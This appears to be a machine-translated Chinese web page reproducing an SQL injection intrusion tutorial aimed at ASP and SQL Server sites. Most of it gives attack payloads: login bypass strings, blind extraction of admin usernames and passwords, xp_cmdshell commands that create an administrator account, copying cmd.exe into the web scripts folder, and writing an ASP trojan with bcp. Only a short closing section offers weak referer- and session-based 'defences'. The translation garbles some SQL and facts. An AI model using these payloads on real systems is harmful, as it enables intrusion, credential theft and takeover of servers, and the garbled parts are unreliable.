當前位置:名人名言大全網 - 笑話大全 - 關於SQL註入

關於SQL註入

& lt第二〉SQL註入思想

思考最重要。其實很多人都不知道SQL能做什麽。以下是SQL註入入侵的總體思路:

1.SQL註入漏洞的判斷是找到註入點。

2.判斷後臺數據庫類型

3.確定XP_CMDSHELL的可執行條件;如果當前連接數據的帳號有SA權限,並且master.dbo.xp_cmdshell的擴展存儲過程(調用這個存儲過程可以直接使用操作系統的shell)可以正確執行,那麽通過幾種方法就可以完全控制整個計算機,即完成整個註入過程,否則繼續:

1.發現WEB虛擬目錄

2.上傳ASP特洛伊;

3.獲取管理員權限

具體步驟:

第壹,對SQL註入漏洞的判斷

如果妳之前沒有玩過註射,請勾選IE菜單-工具-互聯網選項-高級-顯示友好的HTTP錯誤信息前面的框。

為了把問題解釋清楚,下面是/news.asp?Id=xx(這個地址是虛構的)。例如,xx可以是整數或字符串。

1,整數參數的判斷

當輸入參數xx為整數時,news.asp中的原始SQL語句壹般如下:

Select * from表名,其中field =xx,這樣您可以使用以下步驟來測試SQL註入是否存在。

最簡單的判斷方式

/news.asp?Id=xx '(帶單引號),

此時,news.asp中的SQL語句變成了。

Select * from表名,其中field =xx ',

如果程序不過濾"",會提示news.asp運行異常;但是這種方法雖然簡單,但不是最好的,因為:

首先,每個服務器的IIS可能不會向客戶端返回特定的錯誤提示。如果將cint(參數)之類的語句添加到程序中,SQL註入將不會成功,但服務器也會報告壹個錯誤。具體的提示信息是服務器在處理URL時出現錯誤。請聯系系統管理員。

第二,目前大部分程序員都過濾掉了"",所以不能用"",測試註入點,所以壹般用經典的1=1和1=2測試方法,如下圖:

/news.asp?ID = XX且1 = 1,news.asp運行正常。

而用/news.asp呢?Id=xx運行結果相同;

/news.asp?ID = XX且1 = 2,news.asp運行異常;(這是1=1 1=2的經典判斷方法)

如果滿足以上條件,news.asp將出現SQL註入漏洞,否則可能不會註入。

2.字符串參數的判斷

方法與數值參數判斷法基本相同。

當輸入參數xx是壹個字符串時,news.asp中的原始SQL語句通常如下所示:

Select * from表名,其中field ='xx ',這樣您就可以使用以下步驟來測試SQL註入是否存在。

/news.asp?Id=xx '(附加壹個單引號),news.asp的SQL語句就變成了。

select * from table name where field = xx ',news.asp運行異常;

/news.asp?ID = XX且' 1' =' 1 ',news.asp運行正常,

而用/news.asp呢?Id=xx運行結果相同;

/news.asp?ID = xx且' 1' =' 2 ',news.asp運行異常;

如果滿足上述條件,則news.asp存在SQL註入漏洞,否則無法註入。

3.特殊情況的處理

有時候ASP程序員會過濾掉單引號之類的字符,以防止SQL註入。這個時候,妳可以通過以下幾種方式來嘗試。

①大小寫混合法:由於VBS不區分大小寫,程序員過濾時通常會過濾全大寫字符串或全小寫字符串,大小寫混合往往被忽略。比如用select代替SELECT、SelecT等。;

(2) UNICODE方法:在IIS中,使用UNICODE字符集實現國際化,我們完全可以將IE中輸入的字符串轉換成UNICODE字符串進行輸入。例如+=%2B,空間=%20等等。URLEncode的信息見附件壹;

(3) ③ASCII碼法:可以輸入全部或部分字符。

& lt4 & gt除了以上方法,還有壹個更簡單的方法就是使用現成的工具,比如NB聯盟的NBSI,就是壹個非常好的工具,目前最新版本是2.2。

第二,判斷數據庫類型

不同數據庫的功能和註入方式是不壹樣的,所以在註入之前,我們要判斷數據庫的類型。壹般ASP最常用的數據庫是Access和SQLServer,互聯網上99%以上的網站都是其中之壹。

程序怎麽能告訴妳它用的是什麽數據庫?讓我們看看:

SQLServer有壹些系統變量。如果服務器IIS提示沒有關閉,並且SQLServer返回壹個錯誤提示,您可以直接從錯誤消息中獲得它。該方法如下:

/news.asp?id = xx和用戶& gt0

這句話很簡單,卻包含了SQLServer獨特註入方式的精髓。我自己也是在壹次無意的測試中發現了這個高效的猜測方法。我來看看是什麽意思:首先,前面的說法很正常,側重於和用戶>;0,我們知道,user是SQLServer的內置變量,它的值是當前連接的用戶名,類型是nvarchar。將nvarchar的值與int的數字0進行比較,系統將首先嘗試將nvarchar的值轉換為int類型。當然,在轉換的過程中也會出現錯誤。SQLServer的錯誤提示是將nvarchar“ABC”的值轉換為數據類型為int的列時出現語法錯誤。呵呵,abc就是變量user的值,這樣就可以不費吹灰之力獲得數據庫的用戶名。在接下來的幾頁中,妳會看到許多使用這種方法的句子。順便說壹下,我們都知道,SQLServer的用戶sa是壹個相當於Adminstrators權限的角色。有了sa權限,幾乎可以肯定他能拿到主機的管理員。上面的方法可以很容易的測試妳是否用sa登錄。需要註意的是,如果用sa登錄,提示是將“dbo”轉換為int的列有錯誤,而不是“sa”。

如果服務器IIS不允許返回錯誤提示,如何確定數據庫類型?我們可以從Access和SQLServer的區別開始。Access和SQLServer都有自己的系統表,例如用於存儲數據庫中所有對象的表。Access在系統表[msy objects]中,但是在Web環境下讀取這個表會提示“無權限”,SQLServer在表[sysobjects]中,在Web環境下可以正常讀取。

當確認可以註射時,使用以下語句:

/news.asp?id = xx和(從sysobjects中選擇count(*))& gt;0

/news.asp?id = xx和(從msysobjects中選擇count(*))& gt;0

如果數據庫是SQLServer,那麽第壹個URL的頁面和原來的page /news.asp是壹樣的?Id=xx大致相同;第二個URL將提示壹個錯誤,因為找不到表msysobjects。即使程序有容錯,頁面也和原頁面完全不同。

如果數據庫使用Access,情況就不同了。第壹個URL的頁面與原始頁面完全不同。第二個網站,取決於數據庫設置是否允許讀取系統表,壹般是不允許的,所以和原網站完全不同。大多數情況下,用第壹個URL就可以知道系統使用的數據庫類型,第二個URL只是在打開IIS錯誤提示時作為驗證使用。

第三,確定XP_CMDSHELL的可執行情況

如果當前連接數據的帳號有SA權限,並且master.dbo.xp_cmdshell擴展存儲過程(調用這個存儲過程可以直接使用操作系統的shell)可以正確執行,那麽通過下面的方法就可以完全控制整個計算機,後續的所有步驟都可以省去。

1 、/news.asp?id=xx且用戶& gt;0 news.asp執行異常,但可以獲取當前連接的數據庫的用戶名(如果顯示dbo,則表示SA)。

2 、/news.asp?id = xx and db _ name()& gt;0 news.asp執行異常,但可以獲取當前連接的數據庫名稱。

3 、/news.asp?id = xxExecmaster..XP _ cmdshell " net user AAA BBB/add "-(master是SQL-SERVER的主數據。

圖書館;名稱中的分號表示SQL-SERVER執行完分號之前的語句名稱,並繼續執行其後的語句;“-”號是註釋,表示後面的壹切都只是註釋,系統不執行。)可以直接加壹個操作系統賬號aaa,密碼是bbb。

4 、/news.asp?id = xxExecmaster..XP _ cmdshell "net本地組管理員AAA/add "-添加新添加的。

的帳戶aaa被添加到管理員組。

5 、/news.asp?id = xxback uup database database name to disk = ' c:\ inetpub \ wwwroot \ save . db '然後獲取數據內容。

全部備份到WEB目錄,然後用HTTP下載這個文件(當然要先知道WEB虛擬目錄)。

6.通過復制CMD創建UNICODE漏洞。

/news.asp?id = xxexec master . dbo . XP _ cmdshell " copy c:\ win nt \ system32 \ cmd . exe

C:\inetpub\scripts\cmd.exe”創建壹個UNICODE漏洞,通過利用這個漏洞完成對整個電腦的控制(當然首選是知道WEB虛擬目錄)。

這樣,妳就成功地完成了壹次對SQL註入的攻擊。不要激動。在實踐中,妳會發現這比理論難多了。還會有更多的困難等著妳。走下去,如果以上條件都不成立,妳還需要繼續奮鬥。

繼續~!

當不滿足上述條件時,應繼續以下步驟。

(壹)、WEB虛擬目錄的發現

只有找到WEB虛擬目錄,才能確定放置ASP特洛伊木馬的位置,進而獲得用戶權限。有兩種方法更有效。

壹種是憑經驗猜測。壹般來說,WEB虛擬目錄是:c:\ inetpub \ wwwroot;

d:\ inetpub \ wwwroot;E:\inetpub\wwwroot等。,可執行虛擬目錄是:

c:\ inetpub \ scripts;d:\ inetpub \ scripts;E:\inetpub\scripts等。

二是遍歷系統的目錄結構,分析結果,找到WEB虛擬目錄;

首先創建壹個臨時表:temp。

/news.asp?id = xx創建表temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));-

接下來:

1我們可以使用xp_availablemedia獲取所有當前驅動器,並將它們存儲在temp表中:

/news.asp?id = xx插入temp exec master . dbo . XP _ available media;-

我們可以通過查詢temp的內容來獲得驅動器列表和相關信息。

2我們可以使用xp_subdirs來獲取子目錄列表,並將其存儲在temp表中:

/news.asp?id = xx插入到temp(id)exec master . dbo . XP _ subdirs ' c:\ ';-

3我們還可以使用xp_dirtree獲取所有子目錄的目錄樹結構,並放入temp表中:

/news.asp?id = xx插入到temp(id,num 1)exec master . dbo . XP _ dirtree ' c:\ ';-

這樣,您可以成功瀏覽所有目錄(文件夾)列表:

如果我們需要查看文件的內容,我們可以執行xp_cmdsell:

/news.asp?id = xx插入temp(id)exec master . dbo . XP _ cmdshell ' type c:\ web \ index . ASP ';-

使用“bulk insert”語法將文本文件插入到臨時表中。如:來自“c: \ inetpub \ wwwroot \ index.asp”的大容量插入temp (id)

瀏覽臨時查看index.asp文件的內容!通過分析各種ASP文件,可以得到很多系統信息,網站建設和管理信息,甚至可以得到SA帳號的連接密碼。

當然,如果xp _ cmshell可以執行,我們可以用它來完成:

/news.asp?id = xx插入到temp(id)exec master . dbo . XP _ cmdshell ' dir c:\ ';-

/news.asp?id = xx插入到temp(id)exec master . dbo . XP _ cmdshell ' dir c:\ *。ASP/s/a ';-

通過xp_cmdshell,我們可以看到我們想要的壹切,包括W3svc。

/news.asp?id = xx'插入到temp(id)exec master . dbo . XP _ cmdshell ' cscript

c:\ Inetpub \ admin scripts \ adsutil . VBS enum w3svc '

但是,如果沒有SA權限,我們仍然可以使用。

/news.asp?id = xx插入到temp(id,num 1)exec master . dbo . XP _ dirtree ' c:\ ';-

註意:

1.每次瀏覽後,TEMP中的所有內容都應該被刪除。刪除方法如下:

/news.asp?id = xx從temp中刪除;-

2.瀏覽臨時表的方法是:(假設TestDB是當前連接的數據庫的名稱)

/news.asp?id=xx且(從TestDB.dbo.temp中選擇top 1 id)>0

獲取表TEMP中第壹條記錄的id字段的值,並將其與壹個整數進行比較。顯然,news.asp工作異常,但id字段的值可以在異常中找到。假設發現的表名是xyz,那麽

/news.asp?id=xx且(從TestDB.dbo.temp中選擇top 1 id)>0,其中id不在(' XYZ ')& gt;0

獲取表TEMP中第二條記錄的id字段的值。

(2)、上傳ASP特洛伊馬

所謂的ASP特洛伊馬,就是將具有特殊功能的ASP代碼,放入WEB虛擬目錄的腳本中,遠程客戶可以通過IE執行,然後獲得系統的用戶權限,實現對系統的初始控制。上傳ASP木馬壹般有兩種有效方式:

1,使用WEB的遠程管理功能

為了方便維護,許多網站都提供了遠程管理功能。還有很多網站,內容就是不同的用戶有不同的訪問權限。為了控制用戶的權限,每個人都有壹個網頁,需要用戶名和密碼。只有輸入正確的值,才能進行下壹步的操作,才能實現對WEB的管理,比如上傳下載文件、瀏覽目錄、修改配置等。

因此,如果獲得正確的用戶名和密碼,不僅可以上傳ASP木馬,有時甚至可以直接獲得用戶瀏覽系統的權限,可以省略上壹步“發現WEB虛擬目錄”的復雜操作。

用戶名和密碼通常存儲在壹個表中。找到這個表並閱讀它的內容就能解決問題。下面給出兩種有效的方法。

壹、註射方法:

理論上,身份驗證網頁中會有壹些類型,例如:

在select * from admin其中username =' XXX '和password =' yyy '的語句中,如果在語句正式運行之前沒有進行必要的字符過濾,就很容易實現SQL註入。

如果在用戶名文本框中輸入:ABC '或1 = 1-在密碼框中輸入:123,SQL語句將變成:

select * from admin,其中用戶名='abc '或1=1,密碼='123 '

無論用戶輸入什麽用戶名和密碼,這條語句總能正確執行,用戶很容易就能騙過系統,獲得合法身份。

b、猜測解決方案:

基本思路是:猜測所有數據庫名稱,猜測數據庫中的每個表名,分析可能存儲用戶名和密碼的表名,猜測表中的每個字段名,猜測表中每條記錄的內容。

壹猜所有數據庫名稱。

/news.asp?id = xx and(select count(*)from master . dbo . sysdatabases where name & gt;1且dbid = 6)& lt;& gt0

因為dbid的值範圍是從1到5,所以被系統使用。所以用戶自身建設必須從6開始。我們提交了名稱& gt1 (name name字段是字符型字段,和數字比較會出錯),news.asp工作異常,可以獲得第壹個數據庫名稱。同樣,通過將DBID分別更改為7,8,9,10,11,12,可以獲得所有數據庫名稱。

通過以下假設獲得的數據庫名稱是TestDB。

猜測數據庫中用戶名表的名稱

猜解:這種方法是根據個人經驗猜測表名。壹般來說,

用戶、用戶、成員、成員、用戶列表、成員列表、用戶信息、經理、管理員、管理員用戶、系統用戶、

系統用戶、系統用戶、系統用戶、系統帳戶、系統帳戶等。從判決來看。

/news.asp?Id = xx且(select count(*)from testdb . dbo . table name)> 0如果表名存在,則news.asp正常工作,否則異常。重復這個循環,直到猜出系統帳戶表的名稱。

讀取方法:SQL-SERVER有壹個表sysobjects,用於存儲系統核心信息。所有表、視圖和其他關於庫的信息都存儲在該表中,並且可以通過WEB訪問該表。

當xtype =' u '且status >時;0代表用戶創建的表。通過發現和分析每個用戶創建的表和名稱,可以獲得用戶名表的名稱。基本實現方法如下:

①/news.asp?id=xx和(select top 1 name from testdb . dbo . sysobjects其中xtype='U '和status & gt0)>;0

獲取第壹個用戶創建的表的名稱,並將其與整數進行比較。顯然,news.asp工作異常,但表的名字可以在異常中找到。假設發現的表名是xyz,那麽

②/news.asp?id=xx和(select top 1 name from testdb . dbo . sysobjects其中xtype='U '和status & gt0和

名稱不在(' XYZ ')& gt;0可以獲取第二個用戶創建的表的名稱,同樣,您可以獲取由創建的所有表的名稱。

根據表名,壹般可以認定該表的用戶存儲了用戶名和密碼。讓我們假設這個表名為Admin。

猜測用戶名字段和密碼字段的名稱。

admin表中必須有壹個用戶名字段和壹個密碼字段。只有得到這兩個字段的名稱,才能得到這兩個字段的內容。如何得到他們的名字?也有兩種方式。

猜測解法:這種方法是根據個人經驗猜測字段名。壹般來說,用戶名字段的名稱比較常用:用戶名、姓名、用戶、賬號等。常用的密碼字段名稱有:password、pass、pwd、passwd等。從判決來看。

/news.asp?Id=xx並且(從TestDB.dbo.admin中選擇計數)>0“從表名中選擇計數”

語句獲取表中的行數,因此如果字段名存在,news.asp正常工作,否則異常。重復這個循環,直到猜出兩個字段的名稱。

閱讀方法:基本實現方法是

/news.asp?id = xx and(select top 1 col _ name(object _ id(' admin '),1 from testdb . dbo . sysobjects)& gt;0 。

select top 1 col _ name(object _ id(' admin '),1)from testdb . dbo . sysobjects是從sysobjects獲取的已知表名的第壹個字段名。與整數相比,很明顯news.asp工作異常,但異常中可以找到字段名。將col _ name (object _ id ('admin '),1)中的1替換為2,3,4,5,6…以獲得所有字段名稱。

猜測用戶名和密碼

猜測用戶名和密碼內容的最常見、最有效的方法是:

ASCII碼的逐字解碼:這種方法雖然慢,但肯定是可行的。基本思路是先猜測字段的長度,再依次猜測每壹位的值。猜測用戶名的方法與猜測密碼的方法相同。這裏舉例說明了猜測用戶名的過程。

/news.asp?id=xx且(從TestDB.dbo.admin中選擇top 1 len(用戶名)=X(X=1,2,3,4,5,… n,用戶名

是用戶名字段的名稱,admin是表的名稱)。如果X是某個值I,並且news.asp運行正常,I就是第壹個用戶名的長度。例如,當輸入

/news.asp?當ID = xx且(select top 1 len(username)from testdb . dbo . admin)= 8時,news.asp正常運行,所以第壹個用戶名的長度為8。

/news.asp?Id = xx且(select top 1 ascii(substring(username,m,1))from testdb . dbo . admin)= n(m的值介於1和上壹步得到的用戶名的長度之間,當m=1,2,3,…n的值是1~9,a~z,A~Z的ASCII值,即1到128之間的任意值;Admin是系統用戶帳戶表的名稱)。如果n是某個值I,news.asp運行正常,那麽I對應的ASCII碼就是用戶名的某個值。例如,當輸入

/news.asp?當ID = xx且(select top 1 ASCII(substring(username,3,1))from testdb . dbo . admin)= 80時,news.asp運行正常,則用戶名的第三位是P(P的ASCII為80);/news.asp?當ID = xx且(select top 1 ASCII(substring(username,9,1))from testdb . dbo . admin)= 33時,news.asp運行正常,所以用戶名的第9位是!(!is 80的ASCII猜出第壹個用戶名和密碼後,可以用同樣的方法猜出所有其他用戶名和密碼。註意:有時獲得的密碼可能是MD5等加密的信息。,而且需要用專門的工具解密。或者先改密碼,用完後再改回來。請參見以下說明。簡單方法:用/news.asp猜用戶名?id=xx和(從TestDB.dbo.admin中選擇top 1標誌,其中username & gt1),flag是管理表中的壹個字段,username是壹個用戶名字段。此時,news.asp工作異常,但可以獲得用戶名的值。用和上面壹樣的方法,妳可以得到第二個用戶名,第三個用戶名等等,直到表中所有的用戶名。

猜測用戶密碼:/news.asp?id=xx和(從TestDB.dbo.admin中選擇top 1標誌,其中pwd & gt1),flag是admin表中的壹個字段,pwd是壹個密碼字段。此時news.asp工作異常,但能得到pwd的值。和上面壹樣,可以得到第二個用戶名的密碼,第三個用戶的密碼,以此類推,直到表中所有用戶的密碼。密碼有時用MD5加密,並且可以更改。

/news.asp?id = xx更新testdb . dbo . admin set pwd = ' a0b 923820 DCC 509 a '其中username = ' www-(1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改為1;Www是壹個已知的用戶名)您當然可以用同樣的方法將密碼更改為其原始值。

2、利用表格內容轉化為文件的功能

SQL有BCP命令,可以將表的內容導入到文本文件中,並放在指定的位置。利用這個函數,我們可以先建立壹個臨時表,然後在表中逐行輸入壹個ASP特洛伊馬,再用BCP命令導出,形成壹個ASP文件。

命令行格式如下:

bcp "從文本中選擇*..foo " query out c:\ inetpub \ wwwroot \ 163 . ASP–c–S localhost–U sa–P foobar

(‘s’參數是執行查詢的服務器,‘u’參數是用戶名,‘p’參數是密碼,最後上傳壹匹163.asp的特洛伊馬)。

3.使用工具,如NBSI給出的壹些參考數據的最重要的表名:

select * from sysobjects

系統對象ncsysobjects

sysindexes tsysindexes

syscolumns

系統類型

系統用戶

系統數據庫

sysxlogins

系統進程

壹些最重要的用戶名(存在於默認的sql數據庫中)

公眾的

dbo

客人(壹般禁止,或未經允許)

db_sercurityadmin

ab_dlladmin

壹些默認擴展

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

Xp _ availablemedia媒體驅動器相關

Xp _目錄樹目錄

Xp_enumdsn ODBC連接

Xp_loginconfig服務器安全模式信息

Xp_makecab創建壓縮卷

Xp_ntsec_enumdomains域信息

Xp_terminate_process終端進程,給出壹個PID。

(3)、獲得系統的管理員權限

ASP木馬只有用戶權限,為了獲得對系統的完全控制,還需要系統的管理員權限。我們做什麽呢有許多方法可以提高權限:

上傳壹匹特洛伊馬並修改。自動啟動的ini文件(壹旦重啟就死了);

將CMD.exe復制到腳本中,人為制造UNICODE漏洞;

下載SAM文件,破解得到OS的所有用戶名和密碼;

等等,根據系統的具體情況,可以采用不同的方法。

那麽我們如何預防註射呢?該程序可以添加到asp或html或php或cgi如下。測試過。在top.asp文件的開頭增加。

方法1:

& lt%if session("username"= " "或session("userkey"="" then

response .重定向"../../"

結束if % & gt

(註意:只要有用戶註入,就跳到../../目錄,呵呵,看妳怎麽給我註射)

方法二:

& lt%

server_v1=Cstr(請求。ServerVariables("HTTP_REFERER ")

server_v2=Cstr(請求。ServerVariables("服務器名稱")

if mid(server_v1,8,len(server _ v2))& lt;& gt那麽server_v2

response.write " & ltbr & gt& ltbr & gt& lt中心& gt& lttable border = 1 cell padding = 20 border color = black bgcolor = # EEEEEE width = 450 >

response.write " & lttr & gt& lttd style="font:9pt Verdana " >

Response.write“您提交的路徑是錯誤的。禁止從網站外部提交數據。請不要亂用這個參數!”

response.write " & lt/TD & gt;& lt/tr & gt;& lt/table & gt;& lt/center >

響應.結束

如果…就會結束

% & gt

(註:只要有用戶註入,就判定為外接,呵呵,看妳怎麽註入我)

方法三:

& lt% dim From_url,Serv _ url

From_url = Cstr(請求。ServerVariables("HTTP_REFERER ")

Serv_url = Cstr(請求。ServerVariables("服務器名稱")

if mid(From_url,8,len(Serv _ URL))& lt;& gt那麽Serv_url

回答:寫“不”

response.redirect("../"

響應.結束

結束if % & gt